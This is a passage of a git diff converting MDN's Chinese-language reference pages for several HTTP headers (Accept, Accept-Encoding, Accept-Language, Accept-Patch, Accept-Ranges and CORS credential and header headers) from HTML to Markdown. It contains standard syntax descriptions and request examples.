    • 另外两种编码方式—— bzip 和 bzip2 ——有时候也会用到,尽管并未在标准中出现。这两种方式实现了 UNIX 系统上的同名程序所采用的算法。注意第一种由于专利许可问题已经停止维护。
    • -
    -
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}yes
    +## 语法 -

    语法

    - -
    Accept-Encoding: gzip
    +```plain
    +Accept-Encoding: gzip
     Accept-Encoding: compress
     Accept-Encoding: deflate
     Accept-Encoding: br
    @@ -53,52 +37,46 @@ Accept-Encoding: identity
     Accept-Encoding: *
     
     // Multiple algorithms, weighted with the {{Glossary("Quality Values", "quality value")}} syntax:
    -Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5
    - -

    指令

    - -
    -
    gzip
    -
    表示采用 Lempel-Ziv coding (LZ77) 压缩算法,以及 32 位 CRC 校验的编码方式。
    -
    compress
    -
    采用 Lempel-Ziv-Welch (LZW) 压缩算法。
    -
    deflate
    -
    采用 zlib 结构和 deflate 压缩算法。
    -
    br
    -
    表示采用 Brotli 算法的编码方式。
    -
    identity
    -
    用于指代自身(例如:未经过压缩和修改)。除非特别指明,这个标记始终可以被接受。
    -
    *
    -
    匹配其他任意未在该请求头字段中列出的编码方式。假如该请求头字段不存在的话,这个值是默认值。它并不代表任意算法都支持,而仅仅表示算法之间无优先次序。
    -
    ;q= (qvalues weighting)
    -
    值代表优先顺序,用相对质量价值 表示,又称为权重。
    -
    - -

    示例

    - -
    Accept-Encoding: gzip
    +Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5
    +```
    +
    +## 指令
    +
    +- `gzip`
    +  - : 表示采用 [Lempel-Ziv coding](http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77) (LZ77) 压缩算法,以及 32 位 CRC 校验的编码方式。
    +- `compress`
    +  - : 采用 [Lempel-Ziv-Welch](http://en.wikipedia.org/wiki/LZW) (LZW) 压缩算法。
    +- `deflate`
    +  - : 采用 [zlib](http://en.wikipedia.org/wiki/Zlib) 结构和 [_deflate_](http://en.wikipedia.org/wiki/DEFLATE) 压缩算法。
    +- `br`
    +  - : 表示采用 [Brotli](https://en.wikipedia.org/wiki/Brotli) 算法的编码方式。
    +- `identity`
    +  - : 用于指代自身(例如:未经过压缩和修改)。除非特别指明,这个标记始终可以被接受。
    +- `*`
    +  - : 匹配其他任意未在该请求头字段中列出的编码方式。假如该请求头字段不存在的话,这个值是默认值。它并不代表任意算法都支持,而仅仅表示算法之间无优先次序。
    +- `;q=` (qvalues weighting)
    +  - : 值代表优先顺序,用相对[质量价值](/zh-CN/docs/Glossary/Quality_values) 表示,又称为权重。
    +
    +## 示例
    +
    +```plain
    +Accept-Encoding: gzip
     
     Accept-Encoding: gzip, compress, br
     
     Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    - -

    {{Compat}}

    - -

    相关内容

    +## 浏览器兼容性 -
      -
    • HTTP 内容协商
    • -
    • 包含有内容协商结果的响应头: {{HTTPHeader("Content-Encoding")}}
    • -
    • 其他相似的请求头:{{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}
    • -
    +{{Compat}} -
    +## 相关内容 -
    +- HTTP [内容协商](/zh-CN/docs/Web/HTTP/Content_negotiation) +- 包含有内容协商结果的响应头: {{HTTPHeader("Content-Encoding")}} +- 其他相似的请求头:{{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}} diff --git a/files/zh-cn/web/http/headers/accept-language/index.md b/files/zh-cn/web/http/headers/accept-language/index.md index 57fc6183968afa..4dd8e7f76ad302 100644 --- a/files/zh-cn/web/http/headers/accept-language/index.md +++ b/files/zh-cn/web/http/headers/accept-language/index.md @@ -8,73 +8,60 @@ tags: - 请求头 translation_of: Web/HTTP/Headers/Accept-Language --- -
    {{HTTPSidebar}}
    - -

    Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。借助内容协商机制,服务器可以从诸多备选项中选择一项进行应用, 并使用 {{HTTPHeader("Content-Language")}} 应答头通知客户端它的选择。浏览器会基于其用户界面语言为这个请求头设置合适的值,即便是用户可以进行修改,但是这种情况极少发生(因为可增加指纹独特性,通常也不被鼓励)(译者注:通常只在测试网站的多语言支持时手动修改它;或为进一步减少指纹独特性,改为最常见的英文)。

    - -

    当服务器无法通过其他方式来确定应当使用的语言时——例如某一特定的 URL,这是用户明确指定的——这个请求头可以用作提示。建议服务器端永远不要覆盖明确指定的信息。Accept-Language 消息头的内容通常不在用户的掌控之中(例如在国外旅行时到提供网络服务的场所上网);另外用户可能会想要浏览非本地用户界面语言的页面。

    - -

    如果服务器不能提供任何可以匹配的语言的版本,那么理论上来说应该返回一个 {{HTTPStatus("406")}}(Not Acceptable,不被接受)的错误码。但是为了更好的用户体验,这种方法很少被采用,取而代之的是将其忽略。

    - - - - - - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple header", "CORS-safelisted request-header")}}yes
    - -

    语法

    - -
    Accept-Language: <language>
    +{{HTTPSidebar}}
    +
    +**`Accept-Language`** 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。借助[内容协商机制](/zh-CN/docs/Web/HTTP/Content_negotiation),服务器可以从诸多备选项中选择一项进行应用, 并使用 {{HTTPHeader("Content-Language")}} 应答头通知客户端它的选择。浏览器会基于其用户界面语言为这个请求头设置合适的值,即便是用户可以进行修改,但是这种情况极少发生(因为可增加指纹独特性,通常也不被鼓励)(译者注:通常只在测试网站的多语言支持时手动修改它;或为进一步减少指纹独特性,改为最常见的英文)。
    +
    +当服务器无法通过其他方式来确定应当使用的语言时——例如某一特定的 URL,这是用户明确指定的——这个请求头可以用作提示。建议服务器端永远不要覆盖明确指定的信息。`Accept-Language` 消息头的内容通常不在用户的掌控之中(例如在国外旅行时到提供网络服务的场所上网);另外用户可能会想要浏览非本地用户界面语言的页面。
    +
    +如果服务器不能提供任何可以匹配的语言的版本,那么理论上来说应该返回一个 {{HTTPStatus("406")}}(Not Acceptable,不被接受)的错误码。但是为了更好的用户体验,这种方法很少被采用,取而代之的是将其忽略。
    +
    +| Header type                                                                          | {{Glossary("Request header")}} |
    +| ------------------------------------------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}}                                     | no                                       |
    +| {{Glossary("Simple header", "CORS-safelisted request-header")}} | yes                                      |
    +
    +## 语法
    +
    +```plain
    +Accept-Language: 
     Accept-Language: *
     
     // Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
    -Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
    +Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5 +``` -

    指令

    +## 指令 -
    -
    <language>
    -
    用含有两到三个字符的字符串表示的语言码或完整的语言标签。除了语言本身之外,还会包含其他方面的信息,显示在中划线("-")后面。最常见的额外信息是国家或地区变种(如"en-US")或者表示所用的字母系统(如"sr-Lat")。其他变种诸如拼字法("de-DE-1996")等通常不被应用在这种场合。
    -
    *
    -
    任意语言;"*" 表示通配符(wildcard)。
    -
    ;q= (q-factor weighting)
    -
    此值代表优先顺序,用相对{{glossary("Quality values", "质量价值")}}表示,又称为权重
    -
    +- `` + - : 用含有两到三个字符的字符串表示的语言码或完整的语言标签。除了语言本身之外,还会包含其他方面的信息,显示在中划线("-")后面。最常见的额外信息是国家或地区变种(如"en-US")或者表示所用的字母系统(如"sr-Lat")。其他变种诸如拼字法("de-DE-1996")等通常不被应用在这种场合。 +- `*` + - : 任意语言;`"*"` 表示通配符(wildcard)。 +- `;q=` (q-factor weighting) + - : 此值代表优先顺序,用相对{{glossary("Quality values", "质量价值")}}表示,又称为*权重*。 -

    示例

    +## 示例 -
    Accept-Language: de
    +```plain
    +Accept-Language: de
     
     Accept-Language: de-CH
     
     Accept-Language: en-US,en;q=0.5
     
     Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • HTTP 内容协商
    • -
    • 表示此 Header 的内容协商结果的消息头:{{HTTPHeader("Content-Language")}}
    • -
    • 其他类似的消息头:{{HTTPHeader("TE")}}、{{HTTPHeader("Accept-Encoding")}}、{{HTTPHeader("Accept-Charset")}}、{{HTTPHeader("Accept")}}
    • -
    +- HTTP [内容协商](/zh-CN/docs/Web/HTTP/Content_negotiation) +- 表示此 Header 的内容协商结果的消息头:{{HTTPHeader("Content-Language")}} +- 其他类似的消息头:{{HTTPHeader("TE")}}、{{HTTPHeader("Accept-Encoding")}}、{{HTTPHeader("Accept-Charset")}}、{{HTTPHeader("Accept")}} diff --git a/files/zh-cn/web/http/headers/accept-patch/index.md b/files/zh-cn/web/http/headers/accept-patch/index.md index 36cead26c7adbf..54642abf7f91e9 100644 --- a/files/zh-cn/web/http/headers/accept-patch/index.md +++ b/files/zh-cn/web/http/headers/accept-patch/index.md @@ -3,70 +3,53 @@ title: Accept-Patch slug: Web/HTTP/Headers/Accept-Patch translation_of: Web/HTTP/Headers/Accept-Patch --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    服务器使用 HTTP 响应头 Accept-Patch 通知浏览器请求的媒体类型 (media-type) 可以被服务器理解。

    +服务器使用 HTTP 响应头 **`Accept-Patch`** 通知浏览器请求的媒体类型 (media-type) 可以被服务器理解。 -

    Accept-Patch in response to any method means that PATCH is allowed on the resource identified by the Request-URI. Two common cases lead to this:

    +**`Accept-Patch`** in response to any method means that PATCH is allowed on the resource identified by the Request-URI. Two common cases lead to this: -

    A server receiving a PATCH request with an unsupported media type could reply with {{HTTPStatus("415")}} Unsupported Media Type and an Accept-Patch header referencing one or more supported media types.

    +A server receiving a PATCH request with an unsupported media type could reply with {{HTTPStatus("415")}} `Unsupported Media Type` and an Accept-Patch header referencing one or more supported media types. -

    +> **备注:** An IANA registry maintains [a complete list of official content encodings](http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1). +> +> - Two others content encoding, `bzip` and `bzip2`, are sometimes used, though not standard. They implement the algorithm used by these two UNIX programs. Note that the first one was discontinued due to patent licensing problems. -
    Notes: +| 头部类型 | {{Glossary("Response header")}} | +| ---------------------------------------------------------------------- | ---------------------------------------- | +| {{Glossary("Forbidden header name")}}(禁止修改的 HTTP 头) | yes | -
      -
    • -

      An IANA registry maintains a complete list of official content encodings.

      -
    • -
    • Two others content encoding, bzip and bzip2, are sometimes used, though not standard. They implement the algorithm used by these two UNIX programs. Note that the first one was discontinued due to patent licensing problems.
    • -
    -
    +## 语法 - - - - - - - - - - - -
    头部类型{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}(禁止修改的 HTTP 头)yes
    - -

    语法

    - -
    Accept-Patch: application/example, text/example
    +```plain
    +Accept-Patch: application/example, text/example
     Accept-Patch: text/example;charset=utf-8
     Accept-Patch: application/merge-patch+json
    -
    +``` -

    指令

    +## 指令 -

    (无)

    +(无) -

    示例

    +## 示例 -
    Accept-Patch: application/example, text/example
    +```plain
    +Accept-Patch: application/example, text/example
     
     Accept-Patch: text/example;charset=utf-8
     
     Accept-Patch: application/merge-patch+json
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • Http method {{HTTPMethod("PATCH")}}
    • -
    • HTTP Semantic and context {{RFC("7231", "PUT", "4.3.4")}}
    • -
    +- Http method {{HTTPMethod("PATCH")}} +- HTTP Semantic and context {{RFC("7231", "PUT", "4.3.4")}} diff --git a/files/zh-cn/web/http/headers/accept-ranges/index.md b/files/zh-cn/web/http/headers/accept-ranges/index.md index 7639cb0032b02c..8fd7921c7f9dba 100644 --- a/files/zh-cn/web/http/headers/accept-ranges/index.md +++ b/files/zh-cn/web/http/headers/accept-ranges/index.md @@ -3,59 +3,45 @@ title: Accept-Ranges slug: Web/HTTP/Headers/Accept-Ranges translation_of: Web/HTTP/Headers/Accept-Ranges --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    服务器使用 HTTP 响应头 Accept-Ranges 标识自身支持范围请求 (partial requests)。字段的具体值用于定义范围请求的单位。

    +服务器使用 HTTP 响应头 **`Accept-Ranges`** 标识自身支持范围请求 (partial requests)。字段的具体值用于定义范围请求的单位。 -

    当浏览器发现 Accept-Ranges 头时,可以尝试继续中断了的下载,而不是重新开始。

    +当浏览器发现` Accept-Ranges `头时,可以尝试*继续*中断了的下载,而不是重新开始。 - - - - - - - - - - - -
    头部类型{{Glossary("Response header")}}
    -

    {{Glossary("Forbidden header name")}}(禁止修改的 HTTP 头)

    -
    +| 头部类型 | {{Glossary("Response header")}} | +| ---------------------------------------------------------------------- | ---------------------------------------- | +| {{Glossary("Forbidden header name")}}(禁止修改的 HTTP 头) | 否 | -

    语法

    +## 语法 -
    Accept-Ranges: bytes
    -Accept-Ranges: none
    +```plain +Accept-Ranges: bytes +Accept-Ranges: none +``` -

    指令

    +## 指令 -
    -
    none
    -
    不支持任何范围请求单位,由于其等同于没有返回此头部,因此很少使用。不过一些浏览器,比如 IE9,会依据该头部去禁用或者移除下载管理器的暂停按钮。
    -
    bytes
    -
    -

    范围请求的单位是 bytes(字节)。

    -
    -
    +- `none` + - : 不支持任何范围请求单位,由于其等同于没有返回此头部,因此很少使用。不过一些浏览器,比如 IE9,会依据该头部去禁用或者移除下载管理器的暂停按钮。 +- `bytes` + - : 范围请求的单位是 bytes(字节)。 -

    示例

    +## 示例 -
    Accept-Ranges: bytes
    -
    +```plain +Accept-Ranges: bytes +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("If-Range")}}
    • -
    • {{HTTPHeader("Range")}}
    • -
    +- {{HTTPHeader("If-Range")}} +- {{HTTPHeader("Range")}} diff --git a/files/zh-cn/web/http/headers/accept/index.md b/files/zh-cn/web/http/headers/accept/index.md index 3281a610f6ed9f..21edb6047b7523 100644 --- a/files/zh-cn/web/http/headers/accept/index.md +++ b/files/zh-cn/web/http/headers/accept/index.md @@ -3,70 +3,57 @@ title: Accept slug: Web/HTTP/Headers/Accept translation_of: Web/HTTP/Headers/Accept --- -
    {{HTTPSidebar}}
    - -

    Accept 请求头用来告知(服务器)客户端可以处理的内容类型,这种内容类型用MIME 类型来表示。借助内容协商机制, 服务器可以从诸多备选项中选择一项进行应用,并使用 {{HTTPHeader("Content-Type")}} 应答头通知客户端它的选择。浏览器会基于请求的上下文来为这个请求头设置合适的值,比如获取一个 CSS 层叠样式表时值与获取图片、视频或脚本文件时的值是不同的。

    - - - - - - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple header", "CORS-safelisted request-header")}}yes
    - -

    语法

    - -
    Accept: <MIME_type>/<MIME_subtype>
    -Accept: <MIME_type>/*
    +{{HTTPSidebar}}
    +
    +**`Accept`** 请求头用来告知(服务器)客户端可以处理的内容类型,这种内容类型用[MIME 类型](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types)来表示。借助[内容协商机制](/zh-CN/docs/Web/HTTP/Content_negotiation), 服务器可以从诸多备选项中选择一项进行应用,并使用 {{HTTPHeader("Content-Type")}} 应答头通知客户端它的选择。浏览器会基于请求的上下文来为这个请求头设置合适的值,比如获取一个 CSS 层叠样式表时值与获取图片、视频或脚本文件时的值是不同的。
    +
    +| Header type                                                                          | {{Glossary("Request header")}} |
    +| ------------------------------------------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}}                                     | no                                       |
    +| {{Glossary("Simple header", "CORS-safelisted request-header")}} | yes                                      |
    +
    +## 语法
    +
    +```plain
    +Accept: /
    +Accept: /*
     Accept: */*
     
     // Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
    -Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
    +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 +``` -

    指令

    +## 指令 -
    -
    <MIME_type>/<MIME_subtype>
    -
    单一精确的 MIME 类型,例如text/html.
    -
    <MIME_type>/*
    -
    一类 MIME 类型,但是没有指明子类。image/* 可以用来指代 image/pngimage/svgimage/gif 以及任何其他的图片类型。
    -
    */*
    -
    任意类型的 MIME 类型
    -
    ;q= (q 因子权重)
    -
    值代表优先顺序,用相对质量价值表示,又称作权重。
    -
    +- `/` + - : 单一精确的 [MIME 类型](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types),例如`text/html`. +- `/*` + - : 一类 MIME 类型,但是没有指明子类。`image/*` 可以用来指代 `image/png`、`image/svg`、`image/gif` 以及任何其他的图片类型。 +- `*/*` + - : 任意类型的 MIME 类型 +- `;q=` (q 因子权重) + - : 值代表优先顺序,用相对[质量价值](/zh-CN/docs/Glossary/Quality_values)表示,又称作权重。 -

    示例

    +## 示例 -
    Accept: text/html
    +```plain
    +Accept: text/html
     
     Accept: image/*
     
     Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • HTTP 内容协商
    • -
    • 表示内容协商结果的消息头: {{HTTPHeader("Content-Type")}}
    • -
    • 其他相似消息头: {{HTTPHeader("TE")}}、{{HTTPHeader("Accept-Encoding")}}、{{HTTPHeader("Accept-Charset")}}、{{HTTPHeader("Accept-Language")}}
    • -
    +- HTTP [内容协商](/zh-CN/docs/Web/HTTP/Content_negotiation) +- 表示内容协商结果的消息头: {{HTTPHeader("Content-Type")}} +- 其他相似消息头: {{HTTPHeader("TE")}}、{{HTTPHeader("Accept-Encoding")}}、{{HTTPHeader("Accept-Charset")}}、{{HTTPHeader("Accept-Language")}} diff --git a/files/zh-cn/web/http/headers/access-control-allow-credentials/index.md b/files/zh-cn/web/http/headers/access-control-allow-credentials/index.md index 2d6705def8b501..e4fe98c710aa62 100644 --- a/files/zh-cn/web/http/headers/access-control-allow-credentials/index.md +++ b/files/zh-cn/web/http/headers/access-control-allow-credentials/index.md @@ -9,73 +9,67 @@ tags: - 跨域 translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Access-Control-Allow-Credentials 响应头用于在请求要求包含 credentials({{domxref("Request.credentials")}} 的值为 include)时,告知浏览器是否可以将对请求的响应暴露给前端 JavaScript 代码。

    +**`Access-Control-Allow-Credentials`** 响应头用于在请求要求包含 credentials({{domxref("Request.credentials")}} 的值为 `include`)时,告知浏览器是否可以将对请求的响应暴露给前端 JavaScript 代码。 -

    当请求的 credentials 模式({{domxref("Request.credentials")}})为 include 时,浏览器仅在响应标头 Access-Control-Allow-Credentials 的值为 true 的情况下将响应暴露给前端的 JavaScript 代码。

    +当请求的 credentials 模式({{domxref("Request.credentials")}})为 `include` 时,浏览器仅在响应标头 `Access-Control-Allow-Credentials` 的值为 `true` 的情况下将响应暴露给前端的 JavaScript 代码。 -

    Credentials 可以是 cookies、authorization headers 或 TLS client certificates。

    +Credentials 可以是 cookies、authorization headers 或 TLS client certificates。 -

    当作为对预检请求的响应的一部分时,这能表示是否真正的请求可以使用 credentials。注意简单的{{HTTPMethod("GET")}} 请求没有预检,所以若一个对资源的请求带了 credentials,如果这个响应头没有随资源返回,响应就会被浏览器忽视,不会返回到 web 内容。

    +当作为对预检请求的响应的一部分时,这能表示是否真正的请求可以使用 credentials。注意简单的{{HTTPMethod("GET")}} 请求没有预检,所以若一个对资源的请求带了 credentials,如果这个响应头没有随资源返回,响应就会被浏览器忽视,不会返回到 web 内容。 -

    Access-Control-Allow-Credentials 标头需要与 {{domxref("XMLHttpRequest.withCredentials")}} 或 Fetch API 的 {{domxref("Request.Request()", "Request()")}} 构造函数中的 credentials 选项结合使用。Credentials 必须在前后端都被配置(即 Access-Control-Allow-Credentials header 和 XHR 或 Fetch request 中都要配置)才能使带 credentials 的 CORS 请求成功。

    +`Access-Control-Allow-Credentials` 标头需要与 {{domxref("XMLHttpRequest.withCredentials")}} 或 Fetch API 的 {{domxref("Request.Request()", "Request()")}} 构造函数中的 `credentials` 选项结合使用。Credentials 必须在前后端都被配置(即 `Access-Control-Allow-Credentials` header 和 XHR 或 Fetch request 中都要配置)才能使带 credentials 的 CORS 请求成功。 - - - - - - - - - - - -
    头部类型{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| 头部类型 | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Access-Control-Allow-Credentials: true
    -
    +```plain +Access-Control-Allow-Credentials: true +``` -

    指令

    +## 指令 -
    -
    true
    -
    这个头的唯一有效值(区分大小写)。如果不需要 credentials,相比将其设为 false,请直接忽视这个头。
    -
    +- true + - : 这个头的唯一有效值(区分大小写)。如果不需要 credentials,相比将其设为 false,请直接忽视这个头。 -

    例子

    +## 例子 -

    允许 credentials:

    +允许 credentials: -
    Access-Control-Allow-Credentials: true
    +```plain +Access-Control-Allow-Credentials: true +``` -

    使用带 credentials 的 XHR

    +使用带 credentials 的 [XHR](/zh-CN/docs/Web/API/XMLHttpRequest): -
    var xhr = new XMLHttpRequest();
    +```js
    +var xhr = new XMLHttpRequest();
     xhr.open('GET', 'http://example.com/', true);
     xhr.withCredentials = true;
    -xhr.send(null);
    +xhr.send(null); +``` -

    使用带 credentials 的 Fetch

    +使用带 credentials 的 [Fetch](/zh-CN/docs/Web/API/Fetch_API): -
    fetch(url, {
    +```js
    +fetch(url, {
       credentials: 'include'
    -})
    +}) +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 {{Compat}} -

    参见

    +## 参见 -
      -
    • {{domxref("XMLHttpRequest.withCredentials")}}
    • -
    • {{domxref("Request.Request()", "Request()")}}
    • -
    +- {{domxref("XMLHttpRequest.withCredentials")}} +- {{domxref("Request.Request()", "Request()")}} diff --git a/files/zh-cn/web/http/headers/access-control-allow-headers/index.md b/files/zh-cn/web/http/headers/access-control-allow-headers/index.md index f7e18333467478..4bb9d3d995e5c7 100644 --- a/files/zh-cn/web/http/headers/access-control-allow-headers/index.md +++ b/files/zh-cn/web/http/headers/access-control-allow-headers/index.md @@ -9,111 +9,104 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    响应首部 Access-Control-Allow-Headers 用于 {{glossary("preflight request")}}(预检请求)中,列出了将会在正式请求的 {{HTTPHeader("Access-Control-Request-Headers")}} 字段中出现的首部信息。

    +响应首部 **`Access-Control-Allow-Headers`** 用于 {{glossary("preflight request")}}(预检请求)中,列出了将会在正式请求的 {{HTTPHeader("Access-Control-Request-Headers")}} 字段中出现的首部信息。 -

    简单首部,如 {{glossary("simple header", "simple headers")}}、{{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}}、{{HTTPHeader("Content-Language")}}、{{HTTPHeader("Content-Type")}}(只限于解析后的值为 application/x-www-form-urlencoded、multipart/form-data text/plain 三种 MIME 类型(不包括参数)),它们始终是被支持的,不需要在这个首部特意列出。

    +简单首部,如 {{glossary("simple header", "simple headers")}}、{{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}}、{{HTTPHeader("Content-Language")}}、{{HTTPHeader("Content-Type")}}(只限于解析后的值为 ` application/x-www-form-urlencoded、`` multipart/form-data `或 `text/plain 三种 MIME 类型(不包括参数)),它们始终是被支持的,不需要在这个首部特意列出。` -

    如果请求中含有 {{HTTPHeader("Access-Control-Request-Headers")}} 字段,那么这个首部是必要的。

    +如果请求中含有 {{HTTPHeader("Access-Control-Request-Headers")}} 字段,那么这个首部是必要的。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Access-Control-Allow-Headers: <header-name>[, <header-name>]*
    -Access-Control-Allow-Headers: *
    +```plain +Access-Control-Allow-Headers: [, ]* +Access-Control-Allow-Headers: * +``` -

    指令

    +## 指令 -
    -
    <header-name>
    -
    可支持的请求首部名字。请求头会列出所有支持的首部列表,用逗号隔开。
    -
    +- `` + - : 可支持的请求首部名字。请求头会列出所有支持的首部列表,用逗号隔开。 -

    注意以下这些特定的首部是一直允许的:{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}}(但只在其值属于 MIME 类型 application/x-www-form-urlencoded, multipart/form-datatext/plain中的一种时)。这些被称作{{Glossary("simple headers")}},你无需特意声明它们。

    +注意以下这些特定的首部是一直允许的:{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}}(但只在其值属于 MIME 类型 `application/x-www-form-urlencoded`, `multipart/form-data` 或 `text/plain`中的一种时)。这些被称作{{Glossary("simple headers")}},你无需特意声明它们。 -

    * (wildcard)

    +**`*` (wildcard)** -

    对于没有凭据的请求(没有 HTTP cookie 或 HTTP 认证信息的请求),值“ *”仅作为特殊的通配符值。 在具有凭据的请求中,它被视为没有特殊语义的文字标头名称“ *”。 请注意,{{HTTPHeader("Authorization")}}标头不能使用通配符,并且始终需要明确列出。

    +对于没有凭据的请求(没有 HTTP cookie 或 HTTP 认证信息的请求),值“ `*`”仅作为特殊的通配符值。 在具有凭据的请求中,它被视为没有特殊语义的文字标头名称“ \*”。 请注意,{{HTTPHeader("Authorization")}}标头不能使用通配符,并且始终需要明确列出。 -

    示例

    +## 示例 -

    自定义的请求头

    +### 自定义的请求头 -

    下面是 Access-Control-Allow-Headers 标头的一个示例。 它表明,除了 CORS 安全清单列出的请求标头外,对服务器的 CORS 请求还支持名为 X-Custom-Header 的自定义标头。

    +下面是 `Access-Control-Allow-Headers` 标头的一个示例。 它表明,除了 CORS 安全清单列出的请求标头外,对服务器的 CORS 请求还支持名为 X-Custom-Header 的自定义标头。 -
    Access-Control-Allow-Headers: X-Custom-Header
    +```plain +Access-Control-Allow-Headers: X-Custom-Header +``` -

    Multiple headers

    +### Multiple headers -

    此示例展示了支持多个标头时的 Access-Control-Allow-Headers

    +此示例展示了支持多个标头时的 `Access-Control-Allow-Headers` 。 -
    Access-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-Requests
    +```plain +Access-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-Requests +``` -

    Example preflight request

    +### Example preflight request -

    让我们看一个涉及Access-Control-Allow-Headers的预检请求示例。

    +让我们看一个涉及`Access-Control-Allow-Headers`的预检请求示例。 -

    Request

    +#### Request -

    First, the request. The preflight request is an {{HTTPMethod("OPTIONS")}} request which includes some combination of the three preflight request headers: {{HTTPHeader("Access-Control-Request-Method")}}, {{HTTPHeader("Access-Control-Request-Headers")}}, and {{HTTPHeader("Origin")}}, such as:

    +First, the request. The preflight request is an {{HTTPMethod("OPTIONS")}} request which includes some combination of the three preflight request headers: {{HTTPHeader("Access-Control-Request-Method")}}, {{HTTPHeader("Access-Control-Request-Headers")}}, and {{HTTPHeader("Origin")}}, such as: -
    OPTIONS /resource/foo
    +```plain
    +OPTIONS /resource/foo
     Access-Control-Request-Method: DELETE
     Access-Control-Request-Headers: origin, x-requested-with
    -Origin: https://foo.bar.org
    +Origin: https://foo.bar.org +``` -

    Response

    +#### Response -

    If the server allows CORS requests to use the {{HTTPMethod("DELETE")}} method, it responds with an {{HTTPHeader("Access-Control-Allow-Methods")}} response header, which lists DELETE along with the other methods it supports:

    +If the server allows CORS requests to use the {{HTTPMethod("DELETE")}} method, it responds with an {{HTTPHeader("Access-Control-Allow-Methods")}} response header, which lists `DELETE` along with the other methods it supports: -
    HTTP/1.1 200 OK
    +```plain
    +HTTP/1.1 200 OK
     Content-Length: 0
     Connection: keep-alive
     Access-Control-Allow-Origin: https://foo.bar.org
     Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
    -Access-Control-Max-Age: 86400
    +Access-Control-Max-Age: 86400 +``` -

    If the requested method isn't supported, the server will respond with an error.

    +If the requested method isn't supported, the server will respond with an error. -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    有关兼容性的注意事项

    +## 有关兼容性的注意事项 -
      -
    • 在最新规范中提出的通配符 (*),尚未被如下浏览器实现: - -
    • -
    +- 在最新规范中提出的通配符 (\*),尚未被如下浏览器实现: -

    相关内容

    + - Chromium: [Issue 615313](https://bugs.chromium.org/p/chromium/issues/detail?id=615313) + - Firefox: {{bug(1309358)}} + - Servo: [Issue 13283](https://github.com/servo/servo/issues/13283) + - WebKit: [Issue 165508](https://bugs.webkit.org/show_bug.cgi?id=165508) -
      -
